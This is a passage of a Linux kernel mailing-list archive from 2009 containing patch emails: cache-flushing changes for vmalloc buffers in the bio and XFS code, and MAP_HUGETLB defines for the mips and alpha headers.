 <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-4-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-5-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228867 8052 80.91.229.12 (17 Sep 2009 23:07:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:47 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 01:07:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4g-00082m-JJ
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 01:07:38 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753995AbZIQXHb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:31 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753786AbZIQXHa
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Sep 2009 19:07:30 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40316 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753847AbZIQXH1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:27 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 7DEB693F19;
	Fri, 18 Sep 2009 01:07:30 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-5-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2180 gmane.linux.kernel.cross-arch:4429 gmane.linux.file-systems:35435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2180>

From: James Bottomley <jejb@external.hp.com>

This updates bio_map_kern() to check for pages in the vmalloc address
range and call the new kernel flushing APIs if the are.  This should
allow any kernel user to pass a vmalloc/vmap area to block.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/bio.c |   20 ++++++++++++++++++--
 1 files changed, 18 insertions(+), 2 deletions(-)

diff --git a/fs/bio.c b/fs/bio.c
index 7673800..0cf7b79 100644
--- a/fs/bio.c
+++ b/fs/bio.c
@@ -1120,6 +1120,14 @@ void bio_unmap_user(struct bio *bio)
 
 static void bio_map_kern_endio(struct bio *bio, int err)
 {
+	void *kaddr = bio->bi_private;
+
+	if (is_vmalloc_addr(kaddr)) {
+		int i;
+
+		for (i = 0; i < bio->bi_vcnt; i++)
+			invalidate_kernel_dcache_addr(kaddr + i * PAGE_SIZE);
+	}
 	bio_put(bio);
 }
 
@@ -1138,9 +1146,12 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 	if (!bio)
 		return ERR_PTR(-ENOMEM);
 
+	bio->bi_private = data;
+
 	offset = offset_in_page(kaddr);
 	for (i = 0; i < nr_pages; i++) {
 		unsigned int bytes = PAGE_SIZE - offset;
+		struct page *page;
 
 		if (len <= 0)
 			break;
@@ -1148,8 +1159,13 @@ static struct bio *__bio_map_kern(struct request_queue *q, void *data,
 		if (bytes > len)
 			bytes = len;
 
-		if (bio_add_pc_page(q, bio, virt_to_page(data), bytes,
-				    offset) < bytes)
+		if (is_vmalloc_addr(data)) {
+			flush_kernel_dcache_addr(data);
+			page = vmalloc_to_page(data);
+		} else
+			page = virt_to_page(data);
+
+		if (bio_add_pc_page(q, bio, page, bytes, offset) < bytes)
 			break;
 
 		data += bytes;
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 6/6] xfs: fix xfs to work with Virtually Indexed architectures
Date: Thu, 17 Sep 2009 18:07:01 -0500
Lines: 66
Approved: news@gmane.org
Message-ID: <1253228821-4700-7-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-4-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-5-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-6-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228872 8069 80.91.229.12 (17 Sep 2009 23:07:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:52 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Sep 18 01:07:44 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4j-00082m-Eg
	for glka-linux-arch@lo.gmane.org; Fri, 18 Sep 2009 01:07:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753809AbZIQXHg (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:36 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754097AbZIQXHf
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Sep 2009 19:07:35 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40321 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753809AbZIQXH3 (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:29 -0400
Original-Received: from relay1.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 385AD94033;
	Fri, 18 Sep 2009 01:07:32 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-6-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4430 gmane.linux.file-systems:35436 gmane.linux.ports.parisc:2181
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2181>

From: James Bottomley <jejb@external.hp.com>

xfs_buf.c includes what is essentially a hand rolled version of
blk_rq_map_kern().  In order to work properly with the vmalloc buffers
that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   20 ++++++++++++++++++++
 1 files changed, 20 insertions(+), 0 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 965df12..320a6e4 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -1132,12 +1132,26 @@ xfs_buf_bio_end_io(
 	xfs_buf_t		*bp = (xfs_buf_t *)bio->bi_private;
 	unsigned int		blocksize = bp->b_target->bt_bsize;
 	struct bio_vec		*bvec = bio->bi_io_vec + bio->bi_vcnt - 1;
+	void			*vaddr = NULL;
+	int			i;
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (is_vmalloc_addr(bp->b_addr))
+		for (i = 0; i < bp->b_page_count; i++)
+			if (bvec->bv_page == bp->b_pages[i]) {
+				vaddr = bp->b_addr + i*PAGE_SIZE;
+				break;
+			}
+
 	do {
 		struct page	*page = bvec->bv_page;
 
+		if (is_vmalloc_addr(bp->b_addr)) {
+			invalidate_kernel_dcache_addr(vaddr);
+			vaddr -= PAGE_SIZE;
+		}
+
 		ASSERT(!PagePrivate(page));
 		if (unlikely(bp->b_error)) {
 			if (bp->b_flags & XBF_READ)
@@ -1202,6 +1216,9 @@ _xfs_buf_ioapply(
 		bio->bi_end_io = xfs_buf_bio_end_io;
 		bio->bi_private = bp;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr);
+
 		bio_add_page(bio, bp->b_pages[0], PAGE_CACHE_SIZE, 0);
 		size = 0;
 
@@ -1228,6 +1245,9 @@ next_chunk:
 		if (nbytes > size)
 			nbytes = size;
 
+		if (is_vmalloc_addr(bp->b_addr))
+			flush_kernel_dcache_addr(bp->b_addr + PAGE_SIZE*map_i);
+
 		rbytes = bio_add_page(bio, bp->b_pages[map_i], nbytes, offset);
 		if (rbytes < nbytes)
 			break;
-- 
1.6.3.3


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 7/7] Add MAP_HUGETLB flag to mips mman.h
Date: Fri, 18 Sep 2009 06:21:53 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <2cf4dc5ff484753493263c5aa3fdd21ca62aa9bf.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
 <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
 <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
 <be5687cbd44413416009466357c1ded6418cc163.1253272709.git.ebmunson@us.ibm.com>
 <d8e315b04749f73765e61eb7e4cbbaed2b946dfd.1253272709.git.ebmunson@us.ibm.com>
 <309744fd80915ce157aa90dbb807101f61b1f334.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276555 15446 80.91.229.12 (18 Sep 2009 12:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:22:35 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:25 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocTo-0008BU-7T
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:24 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id B5E216B0083; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id A6A996B0089; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 5B0EF6B0062; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail191.messagelabs.com (mail191.messagelabs.com [216.82.242.19])
	by kanga.kvack.org (Postfix) with ESMTP id DAD356B0062
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:07 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-6.tower-191.messagelabs.com!1253276533!53075867!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.143]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjE0MyA9PiAyMTg5Njk=\n
Original-Received: (qmail 12276 invoked from network); 18 Sep 2009 12:22:13 -0000
Original-Received: from e3.ny.us.ibm.com (HELO e3.ny.us.ibm.com) (32.97.182.143)
  by server-6.tower-191.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:13 -0000
Original-Received: from d01relay04.pok.ibm.com (d01relay04.pok.ibm.com [9.56.227.236])
	by e3.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICExFQ012774
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:14:59 -0400
Original-Received: from d01av02.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216])
	by d01relay04.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICMBpg255534
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:11 -0400
Original-Received: from d01av02.pok.ibm.com (loopback [127.0.0.1])
	by d01av02.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICIxec000502
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:19:00 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av02.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICIwgM000475;
	Fri, 18 Sep 2009 08:18:59 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 7D48391DF1; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <309744fd80915ce157aa90dbb807101f61b1f334.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000001, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39105 gmane.linux.kernel:891415 gmane.linux.man:1037 gmane.linux.documentation:852 gmane.linux.ports.alpha:612 gmane.linux.ports.mips.general:25086 gmane.linux.ports.parisc:2182 gmane.linux.kernel.cross-arch:4434
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2182>

Even though mips does not support huge pages this flag needs to
be defined here to keep the compiler happy.  This is because
mips does not make use of mman-common.h, so any flags defined
there and used in common code need to be added to mips's mman.h
manually.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 arch/mips/include/asm/mman.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/arch/mips/include/asm/mman.h b/arch/mips/include/asm/mman.h
index e4d6f1f..c4f29da 100644
--- a/arch/mips/include/asm/mman.h
+++ b/arch/mips/include/asm/mman.h
@@ -46,6 +46,12 @@
 #define MAP_LOCKED	0x8000		/* pages are locked */
 #define MAP_POPULATE	0x10000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
+/*
+ * This flag is included even though huge pages are not supported because
+ * the flag is defined in mman-common.h and used in common vm code but
+ * mman-common.h is not included here
+ */
+#define MAP_HUGETLB	0x080000
 
 /*
  * Flags for msync
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 4/7] Add MAP_HUGETLB flag to alpha mman.h
Date: Fri, 18 Sep 2009 06:21:50 -0600
Lines: 37
Approved: news@gmane.org
Message-ID: <be5687cbd44413416009466357c1ded6418cc163.1253272709.git.ebmunson@us.ibm.com>
References: <cover.1253272709.git.ebmunson@us.ibm.com>
 <653aa659fd7970f7428f4eb41fa10693064e4daf.1253272709.git.ebmunson@us.ibm.com>
 <08251014d2eb30e9016bab16404133f5c13beacf.1253272709.git.ebmunson@us.ibm.com>
 <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276558 15450 80.91.229.12 (18 Sep 2009 12:22:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:22:38 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:27 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocTq-0008Cl-Oi
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:27 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 1A7296B006A; Fri, 18 Sep 2009 08:22:10 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 177D36B0093; Fri, 18 Sep 2009 08:22:10 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id B3A4B6B009D; Fri, 18 Sep 2009 08:22:09 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail191.messagelabs.com (mail191.messagelabs.com [216.82.242.19])
	by kanga.kvack.org (Postfix) with ESMTP id 375A96B006A
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-7.tower-191.messagelabs.com!1253276528!44853929!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.182.142]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTgyLjE0MiA9PiAyMTgxODY=\n
Original-Received: (qmail 32441 invoked from network); 18 Sep 2009 12:22:09 -0000
Original-Received: from e2.ny.us.ibm.com (HELO e2.ny.us.ibm.com) (32.97.182.142)
  by server-7.tower-191.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:09 -0000
Original-Received: from d01relay02.pok.ibm.com (d01relay02.pok.ibm.com [9.56.227.234])
	by e2.ny.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICFVk6005237
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:15:31 -0400
Original-Received: from d01av01.pok.ibm.com (d01av01.pok.ibm.com [9.56.224.215])
	by d01relay02.pok.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICM9mp248486
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from d01av01.pok.ibm.com (loopback [127.0.0.1])
	by d01av01.pok.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICM8Sa026097
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:09 -0400
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d01av01.pok.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICM8ZT026090;
	Fri, 18 Sep 2009 08:22:08 -0400
Original-Received: by lappy-486.beaverton.ibm.com (Postfix, from userid 1000)
	id 6FD5091DE5; Fri, 18 Sep 2009 06:22:06 -0600 (MDT)
X-Mailer: git-send-email 1.6.3.2
In-Reply-To: <462331ca14e2ed47b20b047342e73b92559e1c5b.1253272709.git.ebmunson@us.ibm.com>
In-Reply-To: <cover.1253272709.git.ebmunson@us.ibm.com>
Original-References: <cover.1253272709.git.ebmunson@us.ibm.com>
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000008, version=1.1.6
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
Xref: news.gmane.org gmane.linux.kernel.mm:39106 gmane.linux.kernel:891416 gmane.linux.man:1038 gmane.linux.documentation:853 gmane.linux.ports.alpha:613 gmane.linux.ports.mips.general:25087 gmane.linux.ports.parisc:2183 gmane.linux.kernel.cross-arch:4435
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2183>

Even though alpha does not support huge pages this flag needs to
be defined here to keep the compiler happy.  This is because
alpha does not make use of mman-common.h, so any flags defined
there and used in common code need to be added to alpha's mman.h
manually.

Signed-off-by: Eric B Munson <ebmunson@us.ibm.com>
---
 arch/alpha/include/asm/mman.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/arch/alpha/include/asm/mman.h b/arch/alpha/include/asm/mman.h
index 90d7c35..704c304 100644
--- a/arch/alpha/include/asm/mman.h
+++ b/arch/alpha/include/asm/mman.h
@@ -28,6 +28,12 @@
 #define MAP_NORESERVE	0x10000		/* don't check for reservations */
 #define MAP_POPULATE	0x20000		/* populate (prefault) pagetables */
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
+/*
+ * This flag is included even though huge pages are not supported because
+ * the flag is defined in mman-common.h and used in common vm code but
+ * mman-common.h is not included here
+ */
+#define MAP_HUGETLB	0x080000
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
-- 
1.6.3.2

--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <ebmunson@us.ibm.com>
Newsgroups: gmane.linux.kernel.mm,gmane.linux.kernel,gmane.linux.man,gmane.linux.documentation,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCH 0/7] Add pseudo-anonymous huge page mappings V3
Date: Fri, 18 Sep 2009 06:21:46 -0600
Lines: 65
Approved: news@gmane.org
Message-ID: <cover.1253272709.git.ebmunson@us.ibm.com>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253276561 15459 80.91.229.12 (18 Sep 2009 12:22:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 18 Sep 2009 12:22:41 +0000 (UTC)
Cc: rdunlap@xenotime.net, michael@ellerman.id.au, ralf@linux-mips.org,
        wli@holomorphy.com, mel@csn.ul.ie, dhowells@redhat.com, arnd@arndb.de,
        fengguang.wu@intel.com, shuber2@gmail.com, hugh.dickins@tiscali.co.uk,
        zohar@us.ibm.com, hugh@veritas.com, mtk.manpages@gmail.com,
        chris@zankel.net, linux-man@vger.kernel.org, linux-doc@vger.kernel.org,
        linux-alpha@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linux-arch@vger.kernel.org,
        Eric B Munson <ebmunson@us.ibm.com>
To: linux-kernel@vger.kernel.org, linux-mm@kvack.org,
        akpm@linux-foundation.org
Original-X-From: owner-linux-mm@kvack.org Fri Sep 18 14:22:30 2009
Return-path: <owner-linux-mm@kvack.org>
Envelope-to: glkm-linux-mm-2@m.gmane.org
Original-Received: from kanga.kvack.org ([205.233.56.17])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MocTu-0008DV-35
	for glkm-linux-mm-2@m.gmane.org; Fri, 18 Sep 2009 14:22:30 +0200
Original-Received: by kanga.kvack.org (Postfix)
	id 1579F6B0087; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
Delivered-To: linux-mm-outgoing@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 0)
	id 132996B0093; Fri, 18 Sep 2009 08:22:11 -0400 (EDT)
X-Original-To: int-list-linux-mm@kvack.org
Delivered-To: int-list-linux-mm@kvack.org
Original-Received: by kanga.kvack.org (Postfix, from userid 63042)
	id 915226B00AC; Fri, 18 Sep 2009 08:22:10 -0400 (EDT)
X-Original-To: linux-mm@kvack.org
Delivered-To: linux-mm@kvack.org
Original-Received: from mail144.messagelabs.com (mail144.messagelabs.com [216.82.254.51])
	by kanga.kvack.org (Postfix) with ESMTP id 4CBD66B0087
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 08:22:08 -0400 (EDT)
X-VirusChecked: Checked
X-Env-Sender: emunson@lappy-486.beaverton.ibm.com
X-Msg-Ref: server-10.tower-144.messagelabs.com!1253276535!62687169!1
X-StarScan-Version: 6.1.3; banners=-,-,-
X-Originating-IP: [32.97.110.154]
X-SpamReason: No, hits=0.0 required=7.0 tests=sa_preprocessor: 
  VHJ1c3RlZCBJUDogMzIuOTcuMTEwLjE1NCA9PiA5Mzk5OQ==\n
Original-Received: (qmail 15756 invoked from network); 18 Sep 2009 12:22:15 -0000
Original-Received: from e36.co.us.ibm.com (HELO e36.co.us.ibm.com) (32.97.110.154)
  by server-10.tower-144.messagelabs.com with DHE-RSA-AES256-SHA encrypted SMTP; 18 Sep 2009 12:22:15 -0000
Original-Received: from d03relay02.boulder.ibm.com (d03relay02.boulder.ibm.com [9.17.195.227])
	by e36.co.us.ibm.com (8.14.3/8.13.1) with ESMTP id n8ICKJhe012055
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:20:19 -0600
Original-Received: from d03av03.boulder.ibm.com (d03av03.boulder.ibm.com [9.17.195.169])
	by d03relay02.boulder.ibm.com (8.13.8/8.13.8/NCO v10.0) with ESMTP id n8ICMCoS218724
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:22:12 -0600
Original-Received: from d03av03.boulder.ibm.com (loopback [127.0.0.1])
	by d03av03.boulder.ibm.com (8.12.11.20060308/8.13.3) with ESMTP id n8ICM8LS013633
	for <linux-mm@kvack.org>; Fri, 18 Sep 2009 06:22:12 -0600
Original-Received: from lappy-486.beaverton.ibm.com (sig-9-65-94-243.mts.ibm.com [9.65.94.243])
	by d03av03.boulder.ibm.com (8.12.11.20060308/8.12.11) with ESMTP id n8ICM8dj013622;
	Fri, 18 Sep 2009 06:22:08 -0600
